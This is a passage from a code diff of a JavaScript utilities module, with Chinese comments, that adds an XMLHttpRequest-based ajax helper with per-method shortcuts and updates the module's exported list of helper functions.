+ for (let k in config.xhrFields) {
1759
+ config.xhrFields.hasOwnProperty(k) && (xhr[k] = config.xhrFields[k]);
1760
+ }
1761
+ //与服务器建立连接
1762
+ xhr.open(...openParams);
1763
+ //有则设置,仅跳过空内容
1764
+ for (let k in config.headers) {
1765
+ config.headers.hasOwnProperty(k) && !isEmpty(config.headers[k]) && xhr.setRequestHeader(k, config.headers[k]);
1766
+ }
1767
+ config?.onBeforeSend?.(({ ...context, status: xhr.status, type: 'beforeSend' }));
1768
+ //发送请求,get和head不需要发送数据
1769
+ xhr.send(methodsWithoutBody.includes(method) ? null : (requestData || null));
1770
+ //open和send阶段已经是异步了,无法使用try+catch捕获错误
1771
+ });
1772
+ //绑定xhr和abort
1773
+ result.xhr = xhr;
1774
+ result.abort = () => xhr.abort();
1775
+ return result;
1776
+ };
1777
+ // Static Helper Methods
1778
+ //get、head、trace是不需要发送数据的,data将被转为url参数处理
1779
+ ['post', 'put', 'delete', 'patch', 'options', 'get', 'head', 'trace'].forEach(method => {
1780
+ ajax[method] = (url, data, options = { url: '' }) => ajax({ ...options, method, url, data });
1781
+ });
1782
+ ajax.all = (requests) => Promise.all(requests.map(ajax));
1783
+
1197
1784
  const utils = {
1198
1785
  //executeStr,
1199
1786
  getDataType,
@@ -1231,8 +1818,18 @@ const utils = {
1231
1818
  parseLLMStream,
1232
1819
  toKebabCase,
1233
1820
  trimEmptyLines,
1234
- escapeHtmlChars,
1235
1821
  decodeHtmlEntities,
1822
+ escapeCharsMaps,
1823
+ escapeRegexMaps,
1824
+ escapeHTML,
1825
+ toSingleLine,
1826
+ renderTpl,
1827
+ getBodyHTML,
1828
+ getUrlHash,
1829
+ buildUrl,
1830
+ ajax,
1831
+ capitalize,
1832
+ cleanQueryString,
1236
1833
  };
1237
1834
 
1238
1835
  export { utils as default };